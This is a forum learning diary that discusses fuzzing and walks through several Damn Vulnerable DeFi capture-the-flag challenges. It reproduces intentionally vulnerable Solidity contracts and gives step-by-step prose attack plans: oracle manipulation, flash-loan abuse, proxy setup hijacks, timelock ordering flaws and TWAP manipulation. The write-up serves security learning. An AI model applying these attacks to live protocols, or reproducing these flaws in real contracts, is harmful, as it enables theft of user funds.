This is the most basic form of testing and whilst appropriate in some circumstances, it often isn’t good enough provided this type of testing only really allows an auditor to test the contract methods individually. The siloed testing means may mean that by itself, a function may perform properly but the actual context the smart contract is used in, is often lost.

Enter…fuzzing.

Stateless testing
Rather than asserting how a system should behave, fuzzers explore how it should not behave. This is done by automatically generating a ton (often specified by the security professional) of invalid inputs and seeing if any of them will trigger undesired behavior.

A really common example to best illustrate how stateless fuzzing functions is it would be similar to doing something to a balloonA (say pouring water on it) in an attempt to break it, then blowing up a new balloonB and attempting to break it by freezing it. The implication being that the state of the balloon in the first test had no impact on the state of the balloon in the second test.

Stateful testing (invariant testing)
Smart contracts will have an invariant(s) that will always hold (see Defi examples below), so a security auditor is attempting to test if these functions perform as required under diverse states and input scenarios.

Examples in Defi may be:

  • The protocol must always have 5% more tokens than available debt (i.e. over-collateralized);
  • A user should never be able to withdraw more money than they deposited; and
  • There can only be 1 winner in a raffle.
    The implication of this type of testing is that a security professional will make different attempts to break a balloon with a series of different tests but using the same balloon.

To better illustrate the side-by-side comparison, a huge shoutout to this article on Fuzzy that gives this sick table about the difference between stateless and stateful fuzzing:

In terms of tooling, I cannot recommend Foundry enough for being able to implement fuzz tests of both kinds. It is super easy to set up (always happy to field questions in this respect) and is awesome at displaying insights as to where testing may have gone wrong. Personally, I will continue to use it in my auditing journey, a real goal for me is to better my skills at writing tests entirely from scratch. I have started with this fuzzing exercise from Tincho (a god-tier security auditor). I recommend others do the same!

1 Like

Great effort after minor surgery, Jarrod.

The great thing about sharing your coding journey is that it will assist people joining the community for years to come :fist_right: :fist_left:

1 Like

You always make my day with these comments Neal!!

I really do hope these serve some value, it is the least I can do for such a generous community.

Day 99

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external returns (uint256);
}

/**
 * @title PuppetV2Pool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract PuppetV2Pool {
    using SafeMath for uint256;

    address private _uniswapPair;
    address private _uniswapFactory;
    IERC20 private _token;
    IERC20 private _weth;

    mapping(address => uint256) public deposits;

    event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);

    constructor(address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress)
        public
    {
        _weth = IERC20(wethAddress);
        _token = IERC20(tokenAddress);
        _uniswapPair = uniswapPairAddress;
        _uniswapFactory = uniswapFactoryAddress;
    }

    /**
     * @notice Allows borrowing tokens by first depositing three times their value in WETH
     *         Sender must have approved enough WETH in advance.
     *         Calculations assume that WETH and borrowed token have same amount of decimals.
     */
    function borrow(uint256 borrowAmount) external {
        // Calculate how much WETH the user must deposit
        uint256 amount = calculateDepositOfWETHRequired(borrowAmount);

        // Take the WETH
        _weth.transferFrom(msg.sender, address(this), amount);

        // internal accounting
        deposits[msg.sender] += amount;

        require(_token.transfer(msg.sender, borrowAmount), "Transfer failed");

        emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp);
    }

    function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
        uint256 depositFactor = 3;
        return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether);
    }

    // Fetch the price from Uniswap v2 using the official libraries
    function _getOracleQuote(uint256 amount) private view returns (uint256) {
        (uint256 reservesWETH, uint256 reservesToken) =
            UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
        return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
    }
}

Instruction
The developers of the previous pool seem to have learned the lesson. And released a new version! Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.

Breakdown
This is very similar to the original Puppet contract on Day 89. With the following differences:

  • now it uses Uniswap v2 as a price oracle;
  • the assets in the liquidity pool are WETH / DVT; and
  • the asset ratio is 10 / 100.

Solution
Some of you might be looking at the above and saying, wtf where is the code breakdown – has this guy gotten lazy? Well no, because the contents of the contract don’t really matter the moment you realise it has a borrow function and the formula for calculating reserves hasn’t been mitigated.

This means you basically follow Day 89’s solution by:

  1. Swap the attacker’s DVT token for ETH thus depleting the WETH balance;
  2. Wrap the attacker’s ETH and approve it to the pool; and
  3. Borrow all tokens from the pool.

Day 100

This is a bit of a milestone and I didn’t even realise it!!

I want to thank everyone who has ever commented and interacted with these posts, I really appreciate it and there is nothing more humbling / satisfying than honest direct feedback from strangers on the internet. I genuinely wasn’t sure if I would be adding any value to the community coming from a non-traditional background, but my genuine interest in the area and the ongoing support offered in this community has been a real driver.

To those that can be bothered, read through my past posts if you want to dispel imposter syndrome. There are some posts I cringe at, others where the solution is obvious given my experience now or, some posts that make you reflect on your achievements.

I absolutely love learning and getting better with each day in such a cool area. I want to thank you all again and I encourage you all to interact with posts (even if you are scared English isn’t that great!). Take each day as it comes and remember that comparison is the thief of joy, so go your own way at your own pace and please reach out if you need help!!!

Day 101

Code
FreeRiderNFTMarketplace

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableNFT.sol";

/**
 * @title FreeRiderNFTMarketplace
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FreeRiderNFTMarketplace is ReentrancyGuard {
    using Address for address payable;

    DamnValuableNFT public token;
    uint256 public offersCount;

    // tokenId -> price
    mapping(uint256 => uint256) private offers;

    event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);
    event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);

    error InvalidPricesAmount();
    error InvalidTokensAmount();
    error InvalidPrice();
    error CallerNotOwner(uint256 tokenId);
    error InvalidApproval();
    error TokenNotOffered(uint256 tokenId);
    error InsufficientPayment();

    constructor(uint256 amount) payable {
        DamnValuableNFT _token = new DamnValuableNFT();
        _token.renounceOwnership();
        for (uint256 i = 0; i < amount; ) {
            _token.safeMint(msg.sender);
            unchecked { ++i; }
        }
        token = _token;
    }

    function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
        uint256 amount = tokenIds.length;
        if (amount == 0)
            revert InvalidTokensAmount();
            
        if (amount != prices.length)
            revert InvalidPricesAmount();

        for (uint256 i = 0; i < amount;) {
            unchecked {
                _offerOne(tokenIds[i], prices[i]);
                ++i;
            }
        }
    }

    function _offerOne(uint256 tokenId, uint256 price) private {
        DamnValuableNFT _token = token; // gas savings

        if (price == 0)
            revert InvalidPrice();

        if (msg.sender != _token.ownerOf(tokenId))
            revert CallerNotOwner(tokenId);

        if (_token.getApproved(tokenId) != address(this) && !_token.isApprovedForAll(msg.sender, address(this)))
            revert InvalidApproval();

        offers[tokenId] = price;

        assembly { // gas savings
            sstore(0x02, add(sload(0x02), 0x01))
        }

        emit NFTOffered(msg.sender, tokenId, price);
    }

    function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length;) {
            unchecked {
                _buyOne(tokenIds[i]);
                ++i;
            }
        }
    }

    function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];
        if (priceToPay == 0)
            revert TokenNotOffered(tokenId);

        if (msg.value < priceToPay)
            revert InsufficientPayment();

        --offersCount;

        // transfer from seller to buyer
        DamnValuableNFT _token = token; // cache for gas savings
        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

        // pay seller using cached token
        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

    receive() external payable {}
}

FreeRiderRecovery

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/**
 * @title FreeRiderRecovery
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FreeRiderRecovery is ReentrancyGuard, IERC721Receiver {
    using Address for address payable;

    uint256 private constant PRIZE = 45 ether;
    address private immutable beneficiary;
    IERC721 private immutable nft;
    uint256 private received;

    error NotEnoughFunding();
    error CallerNotNFT();
    error OriginNotBeneficiary();
    error InvalidTokenID(uint256 tokenId);
    error StillNotOwningToken(uint256 tokenId);

    constructor(address _beneficiary, address _nft) payable {
        if (msg.value != PRIZE)
            revert NotEnoughFunding();
        beneficiary = _beneficiary;
        nft = IERC721(_nft);
        IERC721(_nft).setApprovalForAll(msg.sender, true);
    }

    // Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function
    function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
        external
        override
        nonReentrant
        returns (bytes4)
    {
        if (msg.sender != address(nft))
            revert CallerNotNFT();

        if (tx.origin != beneficiary)
            revert OriginNotBeneficiary();

        if (_tokenId > 5)
            revert InvalidTokenID(_tokenId);

        if (nft.ownerOf(_tokenId) != address(this))
            revert StillNotOwningToken(_tokenId);

        if (++received == 6) {
            address recipient = abi.decode(_data, (address));
            payable(recipient).sendValue(PRIZE);
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

Instructions
A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more. If only you could get free ETH, at least for an instant.

Breakdown
FreeriderNFTMarketplace
This contract basically operates as an auctionhouse for NFTs whereby customized tokens are used to make the purchases. The key callout for functions are:

  • _buyOne function takes a tokenId, makes an array of the offers submitted for the tokenId and eventually transfers the tokens from seller to buyer; and
  • _token.safeTransferFrom pays the seller in _tokens.
    If anyone gets stuck, absolutely send me a message because I thought the rest of the contract looked relatively intuitive.

Solution
Unfortunately for this contract, the logic in _token.safeTransferFrom transfers the price (back) to the new owner (original buyer) making the NFT purchase. With this logic in mind, if we had enough tokens to buy all NFTs, we get them for free.

To do this we can:

  1. take out a flashloan (see Day 49 for an explanation on this if its unclear) for 15WETH;
  2. Swap WETH for ETH;
  3. Buy all NFTs from the marketplace;
  4. Exchange the 15 ETH to WETH (effectively repaying the flash loan); and
  5. Transfer all NFTs to the nominated account.

Day 102

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/auth/Ownable.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";

/**
 * @title WalletRegistry
 * @notice A registry for Gnosis Safe wallets.
 *            When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
 * @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract WalletRegistry is IProxyCreationCallback, Ownable {
    uint256 private constant EXPECTED_OWNERS_COUNT = 1;
    uint256 private constant EXPECTED_THRESHOLD = 1;
    uint256 private constant PAYMENT_AMOUNT = 10 ether;

    address public immutable masterCopy;
    address public immutable walletFactory;
    IERC20 public immutable token;

    mapping(address => bool) public beneficiaries;

    // owner => wallet
    mapping(address => address) public wallets;

    error NotEnoughFunds();
    error CallerNotFactory();
    error FakeMasterCopy();
    error InvalidInitialization();
    error InvalidThreshold(uint256 threshold);
    error InvalidOwnersCount(uint256 count);
    error OwnerIsNotABeneficiary();
    error InvalidFallbackManager(address fallbackManager);

    constructor(
        address masterCopyAddress,
        address walletFactoryAddress,
        address tokenAddress,
        address[] memory initialBeneficiaries
    ) {
        _initializeOwner(msg.sender);

        masterCopy = masterCopyAddress;
        walletFactory = walletFactoryAddress;
        token = IERC20(tokenAddress);

        for (uint256 i = 0; i < initialBeneficiaries.length;) {
            unchecked {
                beneficiaries[initialBeneficiaries[i]] = true;
                ++i;
            }
        }
    }

    function addBeneficiary(address beneficiary) external onlyOwner {
        beneficiaries[beneficiary] = true;
    }

    /**
     * @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
     *          setting the registry's address as the callback.
     */
    function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256)
        external
        override
    {
        if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { // fail early
            revert NotEnoughFunds();
        }

        address payable walletAddress = payable(proxy);

        // Ensure correct factory and master copy
        if (msg.sender != walletFactory) {
            revert CallerNotFactory();
        }

        if (singleton != masterCopy) {
            revert FakeMasterCopy();
        }

        // Ensure initial calldata was a call to `GnosisSafe::setup`
        if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
            revert InvalidInitialization();
        }

        // Ensure wallet initialization is the expected
        uint256 threshold = GnosisSafe(walletAddress).getThreshold();
        if (threshold != EXPECTED_THRESHOLD) {
            revert InvalidThreshold(threshold);
        }

        address[] memory owners = GnosisSafe(walletAddress).getOwners();
        if (owners.length != EXPECTED_OWNERS_COUNT) {
            revert InvalidOwnersCount(owners.length);
        }

        // Ensure the owner is a registered beneficiary
        address walletOwner;
        unchecked {
            walletOwner = owners[0];
        }
        if (!beneficiaries[walletOwner]) {
            revert OwnerIsNotABeneficiary();
        }

        address fallbackManager = _getFallbackManager(walletAddress);
        if (fallbackManager != address(0))
            revert InvalidFallbackManager(fallbackManager);

        // Remove owner as beneficiary
        beneficiaries[walletOwner] = false;

        // Register the wallet under the owner's address
        wallets[walletOwner] = walletAddress;

        // Pay tokens to the newly created wallet
        SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
    }

    function _getFallbackManager(address payable wallet) private view returns (address) {
        return abi.decode(
            GnosisSafe(wallet).getStorageAt(
                uint256(keccak256("fallback_manager.handler.address")),
                0x20
            ),
            (address)
        );
    }
}

Breakdown

  • uint256 private constant EXPECTED_OWNERS_COUNT = 1; means the contract is to only have one owner;
  • uint256 private constant EXPECTED_THRESHOLD = 1; defines the relevant threshold for making decisions. So if the owners were 3 and the threshold for making decisions was 2, then 2 of the 3 owners would make decisions;
  • function addBeneficiary(address beneficiary) external onlyOwner { the mechanism that is only callable by the owner to actually add beneficiaries to the wallet; and
  • proxyCreated makes sure that:
    o the token amount has enough to make a payment;
    o defines the proxy address with address payable walletAddress…;
    o msg.sender is not the same as the walletFactor;
    o the implementation needs to be the master copy (see `singleton != masterCopy);
    o initial calldata was a call to GnosisSafe’s setup function;
    o the wallet initializes properly; and
    o the owner is a registered beneficiary.

Instructions
To incentivise the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.

To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.

Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them. Your goal is to take all funds from the registry. In a single transaction.

Solution
This challenge was really complex for me and I certainly had to look up how to implement a solution. The process to launch an attack is as follows:

  1. you create an attacker contract that deploys a new proxy. When this happens, you will trigger the Gnosis Safe Factory contract that will execute the createProxyWithCallback()contained in the Gnosis Safe Factory contract;
  2. The factory contract is going to create a new Gnosis Safe proxy point to the masterCopy implementation;
  3. The setup function is automatically executed within the new proxy. The effect of this is that we can grant approval to the malicious contract we set up;
  4. Because the new proxy calls the setup function, the callback function is activated, calling the WalletRegistry, which performs a series validations and checks;
  5. once step 4 has been completed, the proxy contract will send tokens to the Safe Proxy; and
  6. we have been approved to transfer tokens so we do exactly that.

Day 103

Code

There are five contracts contained in this challenge so I urger others to look at these for further context: https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/climber

Instructions

There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later. To pass this challenge, take all tokens from the vault.

Solution

Like the last challenge, we are dealing again with proxy exploits.

To interact with the ClimberVault contract, we need to either be a sweeper or owner role, of which we are neither. Look to the ClimberTimelock contract, the only unprotected externally callable function is the execute function but it only executes tasks that have been scheduled by the schedule function which is protected by the proposer role.

The exploit here is that there is a violation of the checks-effects-interactions pattern because it executes the provided tasks via functionCalls first and only after checks if the operation is registered and is ready for execution.

That means we can execute any request on behalf of the ClimberTimelock as long as one of the executed tasks is the schedule of all the tasks. Provided the owner is only authorized to upgrade the ClimberVault to a new implementation, so we do the following:

  1. From attacker contract we do the following:
  • update the ClimberTimelock’s delay to 0;

  • grant the proposer role to the attacker contract;

  • transfer ownership to the attacker EOA; and

  • schedule the above tasks through the attacker contract.

  1. Create a contract UpgradedAttackerthat will be used as an upgrade in place of the ClimberVault that preserves the order and number of the state variables thus the inheritance chain as well which is a prerequisite of the upgrade. We need a modifiedsweepFunds function that can be executed by the owner, the one who deployed this contract (attacker EOA). Besides this, we need an overridden _authorizeUpgradefunction and a simplified initialize .

  2. Sweep the funds by the attacker.

Day 104

Code
AuthoriserUpgradeable

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";

/**
 * @title AuthorizerUpgradeable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract AuthorizerUpgradeable is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    mapping(address => mapping(address => uint256)) private wards;

    event Rely(address indexed usr, address aim);

    function init(address[] memory _wards, address[] memory _aims) external initializer {
        __Ownable_init();
        __UUPSUpgradeable_init();

        for (uint256 i = 0; i < _wards.length;) {
            _rely(_wards[i], _aims[i]);
            unchecked {
                i++;
            }
        }
    }

    function _rely(address usr, address aim) private {
        wards[usr][aim] = 1;
        emit Rely(usr, aim);
    }

    function can(address usr, address aim) external view returns (bool) {
        return wards[usr][aim] == 1;
    }

    function upgradeToAndCall(address imp, bytes memory wat) external payable override {
        _authorizeUpgrade(imp);
        _upgradeToAndCallUUPS(imp, wat, true);
    }

    function _authorizeUpgrade(address imp) internal override onlyOwner {}
}

WalletDeployer

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IGnosisSafeProxyFactory {
    function createProxy(address masterCopy, bytes calldata data) external returns (address);
}

/**
 * @title  WalletDeployer
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @notice A contract that allows deployers of Gnosis Safe wallets (v1.1.1) to be rewarded.
 *         Includes an optional authorization mechanism to ensure only expected accounts
 *         are rewarded for certain deployments.
 */
contract WalletDeployer {
    // Addresses of the Gnosis Safe Factory and Master Copy v1.1.1
    IGnosisSafeProxyFactory public constant fact = IGnosisSafeProxyFactory(0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B);
    address public constant copy = 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F;

    uint256 public constant pay = 1 ether;
    address public immutable chief = msg.sender;
    address public immutable gem;

    address public mom;

    error Boom();

    constructor(address _gem) { gem = _gem; }

    /**
     * @notice Allows the chief to set an authorizer contract.
     * Can only be called once. TODO: double check.
     */
    function rule(address _mom) external {
        if (msg.sender != chief || _mom == address(0) || mom != address(0)) {
            revert Boom();
        }
        mom = _mom;
    }

    /**
     * @notice Allows the caller to deploy a new Safe wallet and receive a payment in return.
     *         If the authorizer is set, the caller must be authorized to execute the deployment.
     * @param wat initialization data to be passed to the Safe wallet
     * @return aim address of the created proxy
     */
    function drop(bytes memory wat) external returns (address aim) {
        aim = fact.createProxy(copy, wat);
        if (mom != address(0) && !can(msg.sender, aim)) {
            revert Boom();
        }
        IERC20(gem).transfer(msg.sender, pay);
    }

    // TODO(0xth3g450pt1m1z0r) put some comments
    function can(address u, address a) public view returns (bool) {
        assembly { 
            let m := sload(0)
            if iszero(extcodesize(m)) {return(0, 0)}
            let p := mload(0x40)
            mstore(0x40,add(p,0x44))
            mstore(p,shl(0xe0,0x4538c4eb))
            mstore(add(p,0x04),u)
            mstore(add(p,0x24),a)
            if iszero(staticcall(gas(),m,p,0x44,p,0x20)) {return(0,0)}
            if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)}
        }
        return true;
    }
}

Instructions
There’s a contract that incentivizes users to deploy Gnosis Safe wallets, rewarding them with 1 DVT. It integrates with an upgradeable authorization mechanism. This way it ensures only allowed deployers (a.k.a. wards) are paid for specific deployments. Mind you, some parts of the system have been highly optimized by anon CT gurus.

The deployer contract only works with the official Gnosis Safe factory at 0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B and corresponding master copy at 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F. Not sure how it’s supposed to work though - those contracts haven’t been deployed to this chain yet.

In the meantime, it seems somebody transferred 20 million DVT tokens to 0x9b6fb606a9f5789444c17768c6dfcf2f83563801. Which has been assigned to a ward in the authorization contract. Strange, because this address is empty as well.

Pass the challenge by obtaining all tokens held by the wallet deployer contract. Oh, and the 20 million DVT tokens too.

Code Breakdown
This challenge deals with two contracts interacting with each other via the UUPS upgradeable proxy pattern. The result is that the AuthoriserUpgradeable contract is aimed at providing authorisation to users to call the upgradeToAndCall function.

AuthorizerUpgradeable.sol

  • As mentioned in previous posts, because this is an upgradeable contract using the UUPS standard, the contract is deployed via function init. In this same function, for (uint256 i = 0; i < _wards.length;) is an array that adds wards (i.e. deployers).

WalletDeployer.sol

  • drop function takes registered users and deploys a wallet proxy. It ensures (via the if statement) that only the registered wallet proxy address is eligible for a token reward; and
  • the check on the above function is via the can function, which makes a static call to the authorizer contract that verifies if a given user and new wallet proxy address generated are registered.

Solution
In the context of the Walletdeployer contract, the drop function would only return but not revert the transaction if invalid wallets are passed through the nested can function. This would allow any state changes made by aim = fact.createProxy(copy, wat) to persist. In essence, if we are authorised and direct a contract to an empty wallet address, funds held in the contract are provided to the caller of the drop function.

Steps to exploit:

  1. Initialise the logic contract to claim ownership;
  2. upgrade the contract to a malicious logic contract with a selfdestruct function;
  3. call selfdestruct to empty its states, meaning the authoriser proxy is only communicating to an empty address; and
  4. we can pass the drop function to receive tokens for ourselves.

Day 105

Contract

// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;

import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";

/**
 * @title PuppetV3Pool
 * @notice A simple lending pool using Uniswap v3 as TWAP oracle.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract PuppetV3Pool {
    uint256 public constant DEPOSIT_FACTOR = 3;
    uint32 public constant TWAP_PERIOD = 10 minutes;

    IERC20Minimal public immutable weth;
    IERC20Minimal public immutable token;
    IUniswapV3Pool public immutable uniswapV3Pool;

    mapping(address => uint256) public deposits;

    event Borrowed(address indexed borrower, uint256 depositAmount, uint256 borrowAmount);

    constructor(IERC20Minimal _weth, IERC20Minimal _token, IUniswapV3Pool _uniswapV3Pool) {
        weth = _weth;
        token = _token;
        uniswapV3Pool = _uniswapV3Pool;
    }

    /**
     * @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH.
     *         Sender must have approved enough WETH in advance.
     *         Calculations assume that WETH and the borrowed token have the same number of decimals.
     * @param borrowAmount amount of tokens the user intends to borrow
     */
    function borrow(uint256 borrowAmount) external {
        // Calculate how much WETH the user must deposit
        uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

        // Pull the WETH
        weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

        // internal accounting
        deposits[msg.sender] += depositOfWETHRequired;

        TransferHelper.safeTransfer(address(token), msg.sender, borrowAmount);

        emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount);
    }

    function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) {
        uint256 quote = _getOracleQuote(_toUint128(amount));
        return quote * DEPOSIT_FACTOR;
    }

    function _getOracleQuote(uint128 amount) private view returns (uint256) {
        (int24 arithmeticMeanTick,) = OracleLibrary.consult(address(uniswapV3Pool), TWAP_PERIOD);
        return OracleLibrary.getQuoteAtTick(
            arithmeticMeanTick,
            amount, // baseAmount
            address(token), // baseToken
            address(weth) // quoteToken
        );
    }

    function _toUint128(uint256 amount) private pure returns (uint128 n) {
        require(amount == (n = uint128(amount)));
    }
}

Breakdown
This is a very complex hack that saw me do some extra reading on the Uniswap v3 protocol. A key function in that contract is:

function swap(
        address recipient,
        bool zeroForOne,
        int256 amountSpecified,
        uint160 sqrtPriceLimitX96,
        bytes calldata data
    ) external override noDelegateCall returns (int256 amount0, int256 amount1){...}

Where:

  • sqrtPriceLimitX96 is the limit price we set where a swap is allowed (basically slippage protection); and
  • the direction of the swap is token1 to token0, which means bool zeroForOne should be false.

Instructions
Even on a bear market, the devs behind the lending pool kept building.

In the latest version, they’re using Uniswap V3 as an oracle. That’s right, no longer using spot prices! This time the pool queries the time-weighted average price of the asset, with all the recommended libraries.

The Uniswap market has 100 WETH and 100 DVT in liquidity. The lending pool has a million DVT tokens. Starting with 1 ETH and some DVT, pass this challenge by taking all tokens from the lending pool.

NOTE: unlike others, this challenge requires you to set a valid RPC URL in the challenge’s test file to fork mainnet state into your local environment.

Solution
I recommend others read this blog that holds the solution for this challenge. I found this challenge to be incredibly hard so I will do the best to provide an oversimplification of the solution:

  1. When making a swap in Uniswap V3, price is only updated at the beginning of a block and if there are multiple swaps within one block, only the price before the first swap will be recorded;
  2. In swap function in uniswapV3Pool.sol , we see slot0Start.tick is written to Observation array;
  3. slot0Start.tick is the tick that represents the price before the swap. This means our new price won’t be recorded in the Observation array after our swap to be retrieved by the oracle. But it will be recorded in slot0 as a reference for the next swap or the next block;
  4. we know for the price oracle to read the latest swap price, we need to either perform another swap or wait for the next block. When making an initial swap in step 1, we set the limit price to the maximum. This means we will just wait for the next block;
  5. another contract will invoke transform to fetch the current tick from slot0 which is our desired price after the swap; and
  6. we will borrow from the lending pool to complete the attack.

A callout to this solution is how incredibly expensive it is to deplete the pool of its funds, and this assumes a single liquidity position with us being the sole user. Practically there are multiple users in pools far larger than the one presented in the challenge.